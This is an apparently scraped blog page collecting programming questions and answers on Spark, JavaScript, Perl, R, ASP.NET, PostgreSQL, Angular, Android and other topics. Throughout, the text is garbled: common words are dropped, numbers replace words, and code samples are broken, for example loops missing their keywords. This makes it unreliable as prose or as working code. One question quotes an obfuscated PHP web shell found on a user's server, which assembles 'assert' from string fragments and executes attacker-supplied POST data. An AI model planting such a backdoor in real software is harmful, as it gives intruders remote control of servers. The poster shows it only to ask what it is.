Posts

Showing posts from January, 2011

How to shutdown/kill Spark Streaming application when one of the job fails -

i running spark streaming application. there few times 1 of jobs fails due runtime exception. spark marks job failed , continues process next streaming batch. there parameter can set notify spark kill application (not process next streaming batch) if 1 of jobs fails? using spark 1.4.1 on standalone cluster mode. inside program, could: throw exception , bubble main, surrounding main body in try catch put system.exit(0) want. if shutdowngracefully property set true, close gracefully ever spark process , end program. here reference

javascript - Most Efficient Way to Find Common Item Between Arbitrary Number of Arrays -

i need able find common item between arbitrary number of arrays. example, let's there's object this: var obj = { a: [ 15, 23, 36, 49, 104, 211 ], b: [ 9, 12, 23 ], c: [ 11, 17, 18, 23, 38 ], d: [ 13, 21, 23, 27, 40, 85] }; i'd need determine common item between each of these arrays. (in case, 23). my solution find shortest array, , iterate through each item in it, checking index of other arrays. var shortest = {}; var keys = []; ( var key in obj ) { if ( obj.hasownproperty( key ) && array.isarray( obj[ key ] ) ) { keys.push( key ); if ( !shortest.hasownproperty( 'length' ) || obj[ key ].length < shortest.length ) { shortest.name = key; shortest.length = obj[ key ].length; } } } var res = obj[ shortest.name ].filter(function ( v ) { ( var = 0; < keys.length; i++ ) { if ( obj[ keys[ ] ].indexof( v ) === -1 ) { return false; } return true; } }; however, seems enormously ineffi

How can I gently kill a process in ActiveState Perl? -

do need use specific exitcode ? win32::process::create( $processobj, "c:\\program files (x86)\\mozilla firefox\\firefox.exe", "firefox -no-remote -p $prof_name", 0, normal_priority_class, ".")|| die errorreport(); $processobj->kill(0); that way kills, not gently, generating problems firefox profile. short   usual methods other window's taskkill forceful. mob , melpomene . the win32::process documentation doesn't methods kill or killprocess do, seem pretty blunt it. windows provide gradation in how terminate process, see example post on graceful termination via winapi , not have unix's signals. however, apparently not utilized module nor kill (see end). the windows's own taskkill should nicely ask process terminate. query flags, running taskkill /? in console on system. here documentation taskkill on ms technet . example, terminates process $pid , along children my $pid = $processobj-&

r - XML elements to list XML objects -

how split xml tree list of xml objects , user function getnodeset return value should include root object "part"? require(xml) txt = "<doc> <part> <name>abc</name> <type>xyz</type> <cost>3.54</cost> <status>available</status> </part> <part> <name>abc</name> <type>xyz</type> <cost>3.54</cost> <status>available</status> </part> </doc>" doc <- xmltreeparse(txt, useinternalnodes = true) special_nodes <- getnodeset(doc, "/*/part//*") i think nodes returned getnodeset pointers underlying xml object, instance > special_nodes[[1]] <name>abc</name> > xpathsapply(special_nodes[[1]], "../cost") [[1]] <cost>3.54</cost>

asp.net - Passing string from Startup.cs method to database -

i have problem have websocket method in startup.cs class in asp.net core rc1 project. private async task echo(websocket websocket) { var buffer = new byte[1024 * 4]; var result = await websocket.receiveasync(new arraysegment<byte>(buffer), cancellationtoken.none); string text = ""; while (!result.closestatus.hasvalue) { await websocket.sendasync(new arraysegment<byte>(buffer, 0, result.count), result.messagetype, result.endofmessage, cancellationtoken.none); result = await websocket.receiveasync(new arraysegment<byte>(buffer), cancellationtoken.none); (int = 0; < result.count; i++) { text += (char) buffer[i]; } /* todo: add {text} database */ text = text ?? ""; } await websocket.closeasync(result.closestatus.value, result.closestatusdescription, canc

jquery - Cant stop page scroll with e.preventDefault(); -

this question has answer here: how disable scrolling temporarily? 25 answers i want disable scrolling on page jquery (not body overflow:hidden). i thought work reason doesn't. $( window ).on( "scroll", function(e) { e.preventdefault(); }); i tried doing same thing month ago , managed working described here

security - mysterious php file has appeared, can you help me figure out what it is -

i uploading file web hosting , noticed file called thankyou.php has appeared. don't recall ever having seen file or code before. alarmingly, file, plus favicon have last modified times 4 hours after have been making changes. can advise me on whether code below means anything? note spaces after last character of each line. it's been long since dabbled in php, , dabble. <?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_p"./*-/*-*/"os"./*-/*-*/"t"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?> this can infection in files. might not one. best thing can check files on sort of infections. if have done that, change passwords ftp , database. whatever do, not change password before checking files. may have made password changes (php

transactions - Issue with PostgreSQL: 'now' keeps returning same old value -

i have old web app, relevant current stack is: java 8, tomcat 7, apache commons dbcp 2.1, spring 2.5 (for transactions), ibatis, postgresql 9.2 postgresql-9.4.1208.jar part of code inserts new records in incidents table, field begin_date ( timestamp(3) time zone ) creation timestamp, filled now : insert incidents (...., begin_date, ) values (..., 'now' ....) all executed via ibatis, transactions managed programatically via spring, connections acquired via dbcp pool. webapp (actually pair, clientside , backoffice, share of code , jars) has been working since years. lately, perhaps after libraries updates , reorganization (nothing important, seemed), i've been experiencing (intermitent, hard reproduce) nasty problem: now seems freeze, , begins returning same "old" value. then, many records appear same creation timestamp, hours or days ago: db=# select 'now'::timestamptz; timestamp ------------------------- 2016-0

AngularJS ui router mandatory parameters -

based on documentation, angularjs ui-router url parameters default optional. there way create mandatory parameters? when parameter missing or null not proceed page? hope can me. thanks use ui routers resolve check if route params missing. //example of single route .state('dashboard', { url: '/dashboard/:userid', templateurl: 'dashboard.html', controller: 'dashboardcontroller', resolve: function($stateparams, $location){ //check if url parameter missing. if ($stateparams.userid === undefined) { //do such navigating different page. $location.path('/somewhere/else'); } } })

c# - Eliminating the Storyboard Completed handler in code behind -

a little background: i'm building window , i've got storyboard use show briefly popup upon completion of user-initiated task without need user confirmation. looks so: <usercontrol.resources> <storyboard x:name="fadingfeedback" x:key="fadingfeedback" completed="fadingfeedback_completed"> <doubleanimation storyboard.targetproperty="opacity" from="0.5" to="0" begintime="0:0:0" duration="0:0:2.0"> <doubleanimation.easingfunction> <exponentialease exponent="10" easingmode="easein" /> </doubleanimation.easingfunction> </doubleanimation> </storyboard> </usercontrol.resources> the popup i'm using defined so: <popup name=&qu

Extract PNG File from Eclipse Git Commit -

Image
several months ago, committed code , files local git repository in eclipse ide. did not push changes central git repository. later, deleted files , committed changes again local git repository in eclipse ide. now, need files again. so, open git reflog tab in eclipse ide. scrolled down commit , double-click on it. opens tab showing me message wrote, files , branches. here's screenshot of files. if double-click on text file, editor opens contents of file. need. however, if double-click on png file, editor opens shows me textual representation of bytes in file. isn't need. how actual file? in commit, files in commit images. so, cherry pick ed them branch. it turns out 1 can checkout commit, copy files temporary location, checkout local branch, , copy files temporary location branch. this answer explains how checkout.

sockets - How to let a Meteor "room" know about an update -

i'm building similar app togethertube.com , far have this /profile, /rooms, /, /:roomname now, in each room using both youtube player api , youtube video search api, rooms loaded mongo collection called "rooms", mongo collection called "videos" associated own rooms each time room loaded, videos loaded too. the rooms collection has field called "currentvideo" (and "currentvideotime") so, want let particular room know when currentvideo field changes view of each user isn't owner of room , viewing changes , youtube player api starts playing new video. i don't know how that, i've thought sockets reason started using meteor avoid using socket.io if that's solution, it. tried thinking using meteor's collection "observe" when document corresponding room in rooms collection updated (when video in owner of room's view finishes playing , room's currentvideo updated) function fired , youtube player api l

parsing - How can i JSON.stringify some JSON and place into html then parse it in nodejs server by JSON.parse -

i want stringify json first in html file using javascript place in html, after i'm parsing html using cheeriojs & request in nodejs , here want json json.parse() method, how can that. here html code: <script type="text/javascript"> //stringify json var nav = { component : "navbar", container_class : "div", menu_link_color: "blue", hover_color: "white" } var str = json.stringify(nav); document.getelementbyid('edit').innerhtml=str; </script> </head> <body> <div class="wp" id="edit"> </div> </body> </html> here nodejs code parse html stringified json: var url = "http://localhost/test/test.html"; request(url,function(err,res,body){ var $ = cheerio.load(body); $('.wp').filter(function(){ var navbar = $(th

Using neo4j with django and parallel tests -

i have django app , large test suite i'd run in parallel django supports parallel testing. however, i'm using neo4j piece of data storage. neo4j not support multiple databases in single dbms way postgres , others do, afaict. is there out there who's made test runner that'll spawn neo4j instances parallel testing? or other recommendations how handle parallel testing while connecting neo4j? can use independend graphs within same database? you start individual docker containers different parallel tests.

c# - Facebook api login success but not return success paper -

i writing windows phone game facebook integrated. have problem. after logged in right username/password. showed: "... access public profile...". and press ok. message: ".... post on behalf". and ok. navigated m.facebook.com/dialog/oauth/write - blank paper. no success paper or access token returned. debugged again. after logged in, navigated success paper , access token. my question why? there way skip .... post on behalf message. this code private void myweb_loaded(object sender, routedeventargs e) { var parameters = new dictionary<string, object>(); parameters["client_id"] = appid; parameters["redirect_uri"] = "https://www.facebook.com/connect/login_success.html"; parameters["response_type"] = "token"; parameters["display"] = "popup"; parameters["scope"] = extendedpermissions; uri loginu

Javascript (AngularJS) don't block UI during large DOM update -

in angular app, have operation has potential add tens of thousands of elements dom every time gets run (which happens every time user pastes new data textarea. on occasions when has add, say, 20,000 table rows table, blocks whole page (spinning beach ball) ten seconds. is there way around not have block ui? (a way besides not adding elements dom: since that's core functionality of particular app) my next thought this: if hide table until in-memory dom manipulation done, show again? because, know updating dom 2 stage process: 1) update elements in memory, 2) re-render affected section of page. is possible receive callback after dom manipulation finished in memory? any other thoughts? thanks in advance! edit: here relevant code <table> <tr ng-repeat="row in enormousarray"> <td ng-repeat="value in row">{{value}}</td> <tr> <table> and javscript: $scope.someeventshappen = function(datastr

For a web site using Polymer, where to place html files? -

i developping web site using google polymer framework. want ask if can place src html files in folders other default src folder? for example, have many html files in default src folder. , hard manage file names. or have original componet html files want place somewhere other default src folder. i know possible test projects. worry somehow prevent final benefitting polymer framework. yes, organize files directories, , don't need under src/ . example, given polymer-cli-generated app-drawer-template , move my-view1.html own directory @ top-level of project: . ├── readme.md ├── images │   ├── app-icon-144.png │   ├── app-icon-32.png │   └── app-icon.svg ├── index.html ├── manifest.json ├── my-view1* │   └── my-view1.html* ├── polymer.json* ├── service-worker.js ├── src │   ├── my-app.html* │   ├── my-icons.html │   ├── my-view2.html │   └── my-view3.html ├── sw-precache-config.js └── test ├── index.html └── my-view1.html* you'd have tweak files (see

javascript - How to pass data-index attribute to the index of photoswipe js? -

in reference photoswipe js : http://photoswipe.com/documentation/getting-started.html i'm having trouble passing data-index attribute index of photoswipe. html: <td> <div class="picture" itemscope="" itemtype="http://schema.org/imagegallery"> <figure style="display:initial;" itemprop="associatedmedia" itemscope="" itemtype="http://schema.org/imageobject"> <a class="picture" href="images/an241_02.jpg" itemprop="contenturl" data-size="2000x1200" data-index="0" data-title="an241 02 55"> <img class="lazy thumbnail " data-original="image_cache/an241_02-cache.jpg" itemprop="thumbnail" alt="image description" src="image_cache/an241_02-cache.jpg" style="display: inline;"> </a>

Rails - using capitalize on a month name from l18n -

i have string in view <%= l event.start_date, format: :long %> which outputs 18 aout 2013 i capitalize month name without touching yaml file, , tried several options failed miserably. possible? if call capitalize takes first character, may use titleize <%=(l date.today, format: :long) %> => "miércoles, 28 de agosto de 2013" <%=(l date.today, format: :long).titleize %> => "miércoles, 28 de agosto de 2013" please note words turned capital letter update $ rails c loading development environment (rails 4.0.0) >> helper.l date.today, format: :long => "september 02, 2013" >> helper.l time.now, format: :long => "september 02, 2013 22:56"

javascript - How should my objects be structured for proper MVVM in Knockout? -

i'm working knockout , trying stay true mvvm structure , trying make objects have dependency on each other. here have, gentle, i'm still learning this: model, viewmodel, service definitions: var app = window.app || {}; (function(ns, $, ko) { ns.models = {}; ns.viewmodels = {}; ns.services = ns.services || {}; //service def ns.services.searchservice = function() { this.searchbyname = function(name, callback) { $.get("/api/searchbyname/" + name, function(d){ callback(d); }); }; }; //model def ns.models.searchresultmodel = function(json) { var self = this; ko.mapping.fromjs(json, {}, self); }; //viewmodel def ns.viewmodels.searchresultsviewmodel = function() { var self = this; self.dataservice = new ns.services.searchservice(); self.searchresults = ko.observablearray(); self.getsearchresultsbyname = function(

meteor - How to track Slingshot upload progress change without using setInterval? -

i using meteor-slingshot upload file. want set progress bar percentage when changes. this how now. {{percentage}} percentage: number; uploadbutton() { // first start upload // ... // track progress setinterval(() => { this.percentage = uploader.progress(); // api uploader.progress() returns number }, 1000); } is there smart way using rxjs or else track number change without using setinterval ? thanks uploader.progress() reactive source. end using tracker . this.autorun(() => this.percentage = uploader.progress());

authentication - Not getting REMOTE_USER header in rails app running on passenger w/ nginx behind apache -

so i'm transitioning rails based website docker sake of ;) i use phusion/passenger-docker support rails app. within it, use rack-webauth grabs webauth_user or remote_user authentication piece. unfortunately, can use apache version of stanford's webauth authentication; cannot (currently) use nginx instance this. therefore, use proxypass in apache instance forward traffic dockerised nginx'd application. app works fine unauthenticated parts of app; however, after authenticate, dockerised app not appear see remote_user environment variable (via puts env in ruby code). my apache config: listen 8443 <virtualhost *:8443> sslengine on sslprotocol -sslv2 sslciphersuite all:!anull:!adh:!enull:!low:!exp:rc4+rsa:+high:+medium sslcertificatefile /etc/pki/tls/certs/blah.crt sslcertificatekeyfile /etc/pki/tls/private/blah.key sslcertificatechainfile /etc/pki/tls/certs/intermediateca.crt serveradmin blah@blah.com servername www.blah.com rew

javascript - How to add multiple data-content in jQuery popup? -

i want popover show multiple data-content, i.e. 3 different lines of text inside popover. have following code, referred w3schols. <!doctype html> <html lang="en"> <head> <title>bootstrap example</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js"></script> <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script> </head> <body> <div class="container"> <h3>popover example</h3> <a href="#" data-toggle="popover" title="popover header" data-placement="bottom" data-content="in

momentjs - moment.js - Convert short month to long month? -

given following short month: var shortmonth = 'jan'; how can convert long month format january using moment.js? moment().format('mmmm'); gives long month format of current month, can't seem find way convert short month long month. something moment().format(shortmonth,'mmmm'); example doesn't work. any idea how work? try this: moment('jan', 'mmm').format('mmmm')

python - PyQt: reset or remove the background color from QTreeWidgetItem -

how remove background color of qtreewidgetitem , or reset default? treewidgetitem.setbackgroundcolor(0, qtgui.qcolor('green')) you can background colour this: treewidgetitem.background(0) returning like: <pyside.qtgui.qbrush(qcolor(argb 1, 0, 0, 0) , nobrush ) @ 0x00000000eb1f6588> now put string before apply change , you've got answer. originalbg = treewidgetitem.background(0) # new background treewidgetitem.setbackgroundcolor(0, qtgui.qcolor('green')) # old background treewidgetitem.setbackgroundcolor(0, originalbg)

PostgreSQL: foreign table and discarded records -

where postgresql stores records discarded foreign table during select? have following table: create foreign table ext.alternatenamesext ( altid bigint, geoid bigint, isolanguage varchar(7), alternatename text, ispreferredname integer, isshortname integer, iscolloquial integer, ishistoric integer ) server edrive_server options ( delimiter e'\t', encoding 'utf-8', filename '/mnt/storage/edrive/data/alternatenames.txt', format 'csv'); alternatenames.txt contains ~11 mln records. when "select * ext.alternatenamesext" returns ~9.5mln records. rest of 2mln are? there way put them separate file, oracle's sql*ldr? problem has been solved following syntax of create foreign table...: create foreign table ext.alternatenamesext ( altid bigint, geoid bigint, isolanguage varchar(7), alternatename varchar(400), ispreferredname int, isshortname int, iscolloquial int, ishistoric int ) server edrive

tensorflow - output ImportError libcudart.so.7.5. in window 7 pycharm -

environment info operating system: tensorflow in ubuntu 14.04 pycharm in window 7 installed version of cuda , cudnn: cuda 7.5 , cudnn v4.0 if installed binary pip package, provide: which pip package installed. tensorflow-0.8-gpu-whl the output python -c "import tensorflow; print(tensorflow.__version__)". 0.8 steps reproduce 1.start samba in ubuntu import remote mnist example pycharm in window 7 change python interpreter remote ubuntu python run mninst what have tried? according above step , output importerror libcudart.so.7.5. ok if run mnist directly pycharm , command line in ubuntu machine . logs or other output helpful importerror libcudart.so.7.5

asp.net mvc - iterate two different foreach according to equality in c# -

Image
what trying achieve is, separately output posts ordered category. if theres no posts in category can null. give me hint or other approach? @foreach (var category in model.categories) { <div><a href="javascript:void(0)">@category.name</a></div> } here need list posts according category. @foreach (var post in model.posts) { <div> <div> <a href="@url.action("index", "post", new { id = post.id })" target="_self"> <img src="@post.image" alt="@post.title" width="93" height="69" /> </a> </div> <h6 class="mkd-pt-seven-title"> <a itemprop="url" class="mkd-pt-link" href="@url.action("index", "post", new { id = post.id })" target="_self">@html.raw(post.title)...</a> <

php - How to get a float from python to JavaScript without cgi -

i running apache server raspberry pi , have python script returns sensor input printing it. prints console. have php script gets output , shuts off light if sensor reading high, before printing again. works when run console. last part javascript supposed output php. using ajax, runs "success" function, gets "0" php script. my php script: <?php exec ("python temp.py", $temp); if((float)$temp[0]>28) { exec("gpio read 0",$state); if($state[0]=="1") { include('gpio.php'); echo("overheated: ".$temp[0]); } } else { echo($temp[0]); } ?> my js: $.ajax( { type: "get", url: "temp.php", datatype: "text", success: function(msg) { alert("asd"+typeof msg); document.getelementbyid('text').innerhtml = msg; return msg; }, error: function(jqxhr, textstatus, errorthrown){

dependencies - MediaWiki: Graph of page relations extension -

i searching mediawiki extension which, in ideal world, should allow following: each page should include list of other pages related (let's call them dependencies). the dependency tree of given page, showing dependencies recursively (that is, direct dependencies, dependencies of direct dependencies, etc) should displayed on page. registered users should able mark pages read/unread should reflected in dependency trees (say, changing color of nodes). so far, have found following: a nice implementation of tree graph through jit , mediawiki plugin using (for different purposes though). the semantic mediawiki seems handle relational structure in way, however, not way, searching for. assigns properties wiki pages rather linking pages together. i'm not sure whether can used generate dependency tree. dbpedia , not sure, , how use it, somehow seems related structuring data in wiki. now bit lost way follow , how put pieces achieve desired result. hints appreciated

suffix array using manber myers algorithm -

i have tried going through theory in paper http://webglimpse.net/pubs/suffix.pdf but kind of lost when let ai first suffix in first bucket (i.e., pos[0] = i), , consider ai-h (if i-h < 0, ignore ai , take suffix of pos[1], , on). since ai starts smallest h-symbol string, ai-h should first in 2h-bucket. i not able understand statement. why ai-h can ignored if i-h < 0. how position getting determined in const time when i-h > 0 in phase 1? one sample impl http://belbesy.wordpress.com/2012/10/10/spoj-649-distinct-substrings-suffix-arrays-nlgn/ i recommend that, instead of trying understand c++ code, walk through python implementation of manbers-myers suffix array construction algorithm , hand, simple 5 character example. because python version 15 lines of code, it's pretty easy follow. even if don't understand python, treat pseudocode , google syntax don't understand. personally, walked through 1 5 character string hand, , enough me underst

node.js - Meteor file modified refresh taking 2 minutes -

i having big problem meteor. build process "meteor run" extremely slow takes 10 minutes not bad part since happens once when starting. the bad part takes ~2 minutes show changes, file changed watcher taking long. when working basic example feedback way better ~5 seconds , workable working on real project impossible make progress. i have around 40 packages in packages file , using latest meteor (1.3.2.4 @ time). there ton of questions around problem #4284 #6750 , don't know if there tip bypass issue ( changing config,adding more ram or ). it there no solution of helpful if there way limit file watch folder @ moment. update: noticed there ".node_modules" in root of app can excluded build process? thank guys! try webpack meteor. it supports hot module reload, can shorten rebuild times lot. there differences compared default build process, you'll need learn thing or 2 it, worth time. try fetching kickstart-meteor-react-flowrouter

java - Servlet using a library which creates a threadpool. Where does this library get it's threads from? -

i have webapp uses jar. jar creates threadpool. whenever request comes in servlet call method defined in jar. method uses 1 thread threadpool maintained jar doing it's work. the threadpool jar uses gets it's threads where? borrowing threads servlet conainters threadpool?

stdmap - Map lookup using boost::tuple as key -

i understand how key in form of boost::tuple looked in map, compare=std::less . instance, snippet of code i'm working on: typedef boost::tuple<std::string, std::string> key; void *data; typedef std::map<key, data> filedatamap; filedatamap file_map; lookup_data(std::string s1, std::string s2) { ... fk = boost::make_tuple(s1, s2); filedatamap::iterator itr = file_map.find(fk); ... ... } insert_data(std::string s1, std::string s2, void *fdata) { ... fk = boost::make_tuple(s1, s2); file_map.insert(std::make_pair(fk, fdata)); ... ... } at time of inserting value map, let's suppose s1 abc , s2 xyz . during lookup, how key match determined? is string comparison of s1 , s2 done abc , xyz respectively, individually? if so, std::string comparison operators used? thanks! i wrote code test out. testing indicates strings indeed compared individually using defined comparison operators. the document talks o

Autohotkey: Don't activate multiple triggers -

in autohotkey, have 2 hotkeys: 1) #\:: (win + \) 2) #^\:: (win + ctrl + \) if press win + \, both triggers activated. how can make them mutually exclusive? okay, solved it. embarassing.. i forgot include "return" @ end of each triggered action.

frameworks - Web Development Stack map? -

as programmer, 1 day think advance in understanding next stupid again, , goes forever. and don't me wrong. making first steps web development schema continues gets frantic. not reading mvc,mvvm, spa etc web development still feels loose in terms of "rules established" have many options in client side operations. angularjs,breeze,upshot,knockout,jquery,bootstrap , list goes on , on. i tried find illustration,a table, shows current state of web development stack of "entities" available web developer should aware of... is there any? nice partial answer site: todomvc shows simple to-do application has been implemented various technologies. you can download sources , check out yourself.

How to deal with persistent storage (e.g. databases) in docker -

how people deal persistent storage docker containers? using approach: build image, e.g. postgres, , start container with docker run --volumes-from c0dbc34fd631 -d app_name/postgres imho, has drawback, must not ever (by accident) delete container "c0dbc34fd631". another idea mount host volumes "-v" container, however, userid within container not match userid host, , permissions might messed up. note: instead of --volumes-from 'cryptic_id' can use --volumes-from my-data-container my-data-container name assigned data-only container, e.g. docker run --name my-data-container ... (see accepted answer) docker 1.9.0 , above use volume api docker volume create --name hello docker run -d -v hello:/container/path/for/volume container_image my_command this means data container pattern must abandoned in favour of new volumes. actually volume api better way achieve data-container pattern. if create container -v volume_name:/container/f

Python import value if module fails -

i've written small python program. executed every 15 minutes running main.py, loads 2 other python scripts modules. the problem when 1 module fails (for example because of lost internet connection). 1 of modules parses feed internet. if fails, has assume value. problem import value main.py. the module: [...] feed=feedparser.parse(url) if not feed.feed: # assume error print("error") temperature = 20 print 'assuming', temperature, 'degrees c' sys.exit() temperature = [...] when cause module fail, main.py exits after module import. how fix this? i think caused calling sys.exit(), dont know else function should call? thanks... in python can have in try except block: try: import modulea except importerror,e: import moduleb

amazon web services - Modeling data in NoSQL DynamoDB -

i'm trying figure out how model following data in aws dynamodb table. i have lot of iot devices, each sends telemetry data every few seconds. attributes device_id timestamp malware_name company_name action_performed (two possible values) queries show incidents happened in last week. show incidents specific device_id. show incidents action "unable_to_remove". show incidents related specific malware. show incidents related specific company. thoughts i understand can add gsi's each attribute, use gsi's if there no other choice costs me more money. what main primary-key (partition-key:sort-key) ? please share thoughts, care them more care perfect answer i'm trying learn how think , consider instead of having answer specific question. thanks lot ! if absolutely need querability patterns mentioned, have no way out create gsis each. has set of caveats: for query #1, gsi incident_date (or whatever) partition-key , devi

php - Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING on one record? -

i error: parse error: syntax error, unexpected t_constant_encapsed_string, expecting ',' or ';' in /home/content/72/11648872/html/swtb/secure/talentsearch.php on line 30 however, on second entry in table, others fine. it's confusing hell out of me. it's character or 2 out of place (i'm new php/ajax/jquery). script: <?php header("expires: tue, 01 jan 2000 00:00:00 gmt"); header("last-modified: " . gmdate("d, d m y h:i:s") . " gmt"); header("cache-control: no-store, no-cache, must-revalidate, max-age=0"); header("cache-control: post-check=0, pre-check=0", false); header("pragma: no-cache"); $q=$_get["q"]; $con = mysqli_connect('1','2','3','4'); if (!$con) { die('could not connect: ' . mysqli_error($con)); } mysqli_select_db($con,"ajax_demo"); $sql="select candidateid, town, salarymin, candidateexperience

json php iOS help :( -

i want end graduation project .. we have code in php (shopping cart) , want convert json use in ios app ,we want json add product cart, want json cart info(view shopping cart), me, don't know how convert :( http://www.mediafire.com/download/bc63u4c66wvqn6k/cartt.php thats our code. please,help :) to convert array json use json_encode($array); method in php

Mayan Long Count Calendar in VB.NET -

how check mayan long count date in vb.net , move string? i've tried checking distance between today , thirteenth baktun (december 21 2012) in integer can't calculate how change integer string in mayan date format (ex 12.12.12.12.12). here is: http://pastebin.com/as1qvhs1 this calculates distance between today , thirteenth baktun, divides sections of format maximum plus one, mods higher tiers maximum plus one

android - Application not responding after integrating Firebase Crash Reporting -

i've integrated firebase track crashes in application. after integrating that, application not getting control gallery app after selecting picture. see black screen after selecting picture , after few seconds os showing anr. i see there's process being spawned firebase, , guess os not able figure out process must return data. if remove firebase integration, works fine. below logs device : 06-09 22:26:28.330: i/activitymanager(781): start u0 {act=android.content.pm.action.request_permissions pkg=com.android.packageinstaller cmp=com.android.packageinstaller/.permission.ui.grantpermissionsactivity (has extras)} uid 10829 on display 0 06-09 22:26:28.357: i/activitymanager(781): start proc 26257:com.android.packageinstaller/u0a60 activity com.android.packageinstaller/.permission.ui.grantpermissionsactivity 06-09 22:26:28.395: w/system(26257): classloader referenced unknown path: /system/priv-app/googlepackageinstaller/lib/arm 06-09 22:26:28.460: d/openglrenderer(26257)

java - Using DbUtils QueryRunner doesnt close database connections -

im using dbutils library queryrunner class run queries. underestanding of dbutils docs dont need worry closing connections. reason not close connections automaticly or manually. here code: public static datasource createdatasource() { basicdatasource d = new basicdatasource(); d.setdriverclassname(globals.getinstance().getkonfiguracija().dajpostavku("driver")); d.setusername(globals.getinstance().getkonfiguracija().dajpostavku("dbusername")); d.setpassword(globals.getinstance().getkonfiguracija().dajpostavku("dbpassword")); d.seturl(globals.getinstance().getkonfiguracija().dajpostavku("serverdatabase")); return d; } public static void insertsql(string sql) { datasource datasource = createdatasource(); queryrunner qr = new queryrunner(datasource); try { int inserts = qr.update(sql); qr.getdatasource().getconnection().close(); } catch (sqlexception ex) { logger.getlogger(dbco

Android - Empty items generated on scroll in RecyclerView -

Image
i using recyclerview in order show list of different items. problem on fast scroll items being randomly generated empty, if scroll , down again different item can generated empty. happens on lg g2 , i've checked on lg g4 , not happens there. this mean empty item: this onbindviewholder in adapter: @override public void onbindviewholder(viewholder viewholder, int position) { final int finalposition = viewholder.getadapterposition(); final string url = results.get(finalposition).geturl(); viewholder.tvurl.settext(url.replacefirst("^(http://|www\\.|http://|www\\.|https://)", "")); viewholder.tvcopiedwords.settext(string.format(locale.getdefault(), "%1$d", results.get(finalposition).getnumberofcopiedwords())); viewholder.tvpercents.settext(string.format(locale.getdefault(), "%1$d%%", results.get(finalposition).getpercents())); viewholder.itemview.setonclicklistener(new view.onclicklistener() { public voi

javascript - Angularjs Charts are not resizing -

i have small webapp using angularjs , trying sue 2 charts angularjs library . using bar , pie. rendering fine reason refuse resize display small or bigger. my html code: <div class="chartwrapper" ng-show="true" layout="row" layout-align="center center" md-whiteframe="3"> <canvas id="pie" class="chart chart-pie" chart-data="piedata" chart-labels="chartlabels" chart-legend="true"></canvas> <canvas id="bar" class="chart chart-bar" chart-data="chartdata" chart-legend="true" chart-labels="chartlabels" chart-series="series"></canvas> </div> my css code wrapper .chartwrapper{ margin: 0 auto; text-align: center; vertical-align: top; width: 80% !important; } my javascript code angular.module('app') .config(['chartjsprovider', function (chartjsprovider) {